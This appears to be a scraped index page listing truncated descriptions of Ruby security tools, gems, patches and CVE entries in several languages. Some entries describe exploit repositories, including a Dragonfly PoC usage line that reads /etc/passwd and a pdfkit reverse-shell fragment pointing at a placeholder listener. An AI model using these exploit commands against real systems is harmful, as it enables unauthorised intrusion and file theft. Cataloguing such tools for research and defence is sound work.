ctf-party

ctf-party What it is...

deadfinder

Find dead-links broken links Documentation • Installation • Github Action • Contributing • Changelog Dead link broken link means a link within a web page that cannot be connected. These links can have a negative impact to SEO and Security. This tool makes it easy to identify and modify. Looking f...

vbsmin

VBSmin Minificador de VBScript Características ⬜️ Eliminar espacios en blanco extra Espacios al final Espacios al inicio Líneas en blanco Espacios extra en línea 💬 Eliminar comentarios Comilla simple inicio de línea Comilla simple en línea REM 1️⃣ Una línea División de línea guión bajo Dos puntos...

legacy-rails-CVE-2020-5267-patch

legacy-rails-CVE-2020-5267-patch A patch for CVE-2020-5267 for Rails 4 and Rails 3. Upgrading Rails would definitely be better, but in the meantime if you're stuck on older versions of Rails, this provides the monkey patch noted in the security advisory packaged and tested as a gem. Installation...

mihari

mihari Un agregador de consultas para la caza de amenazas basada en OSINT. Mihari puede agregar múltiples búsquedas a través de múltiples servicios en una sola regla y persistir los hallazgos en una base de datos. Mihari es compatible con los siguientes servicios por defecto. Censys CIRCL passive...

pastenum

Pastenum Pastenum es una herramienta de enumeración de volcados de texto. Está diseñada para ayudar a encontrar y enumerar volcados de datos y doxs publicados en sitios públicos. Actualmente busca en los sitios github.com, gist.github.com, pastebin.com, pastee.org y pastie.org. Pastenum es una...

aws_public_ips

awspublicips...

CVE-2022-36231

CVE-2022-36231 La gema de ruby pdfinfo = 0.5.3 es vulnerable a la Inyección de Comandos del Sistema Operativo al ejecutar un método en un objeto PDF::Info. Un atacante que utilice un payload especialmente diseñado puede ejecutar comandos del sistema operativo mediante el encadenamiento de comando...

declarative-policy

DeclarativePolicy: A Declarative Authorization Library This library provides a DSL for writing authorization policies. It can be used to separate logic from permissions, and has been used at scale in production at GitLab.com. The original author of this library is Jeanine Adkisson, and copyright ...

heroku-CVE-2013-0269

heroku-CVE-2013-0269 Inspecciona todas tus aplicaciones de Heroku para ver si están ejecutando una versión vulnerable de JSON Antecedentes Se ha encontrado una vulnerabilidad de seguridad en la gema JSON de Ruby. Esta es la causa raíz del problema de inyección en MySQL recientemente anunciado en...

exploit-CVE-2022-25765

Exploit para CVE-2022-25765 pdfkit - Inyección de Comandos ¿Te gusta este repositorio? ¡Danos una ⭐! Solo con fines educativos y de investigación de seguridad autorizada. Autor del Exploit @UNICORDev por @NicPWNs y @Dev-Yeoj Descripción de la Vulnerabilidad El paquete pdfkit desde 0.0.0 es...

CVE-2021-33564

CVE-2021-33564 PoC Script de explotación para CVE-2021-33564 Inyección de argumentos en la gema Ruby Dragonfly. Uso Lectura arbitraria de archivos python3 poc.py -u https:///system/refinery/images -r /etc/passwd Escritura arbitraria de archivos python3 poc.py -u https:///system/refinery/images -w...

-Ruby-dl-handle.c-CVE-2009-5147-

Base de Datos de Asesorías de Ruby La Base de Datos de Asesorías de Ruby es un esfuerzo comunitario para recopilar todos los avisos de seguridad relevantes para librerías de Ruby. Puedes verificar tus propios Gemfile.locks contra esta base de datos utilizando bundler-audit. ¡Apoya la seguridad de...

inspec_cve_2019_15224

a malicious rest-client gem On August 19, 2019, it was discovered that the rest-client gem had had several versions published containing malicious code. In discovering the malicious rest-client, several other new gems were determined to be carrying similar code. Coverage:...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Mediante CURL modificar valores en negrita: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

hoper

Hoper 지정한 URL이 최종 지점에 도달하기까지의 모든 홉hop을 보여줍니다. 예를 들어 이메일 URL이나 URL 단축 서비스의 전체 경로를 확인하려는 경우, Hoper는 모든 URL 리디렉션을 반환합니다. 설치 root@kitploit: $ gem install hoper 사용법 명령줄에 입력하세요: root@kitploit: $ hoper url 개발 저장소를 체크아웃한 후, bin/setup을 실행하여 의존성을 설치하세요. 또한 bin/console을 실행하면 실험해볼 수 있는 대화형 프롬프트를 사용할 수 있습니다. ...

seccomp-tools

Seccomp Tools...

Linux Distros Unpatched Vulnerability : CVE-2026-89553

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - nouveau/gem: reserve the bo in the info ioctl around the vma lookup In the non-uvmm path, there could be a race between the info lookup finding the vma, and the...

CVE-2026-89553

A flaw was found in the Linux kernel's nouveau/gem component. A race condition exists where the graphics execution manager GEM close path can close a virtual memory area VMA while an information lookup is still trying to access it. This timing issue leads to a use-after-free vulnerability, which...

AZL-100461 CVE-2026-89553 affecting package kernel 6.6.150.1-1

In the Linux kernel, the following vulnerability has been resolved: nouveau/gem: reserve the bo in the info ioctl around the vma lookup In the non-uvmm path, there could be a race between the info lookup finding the vma, and the gem close path closing the vma leading to a use-after-free. Spotted...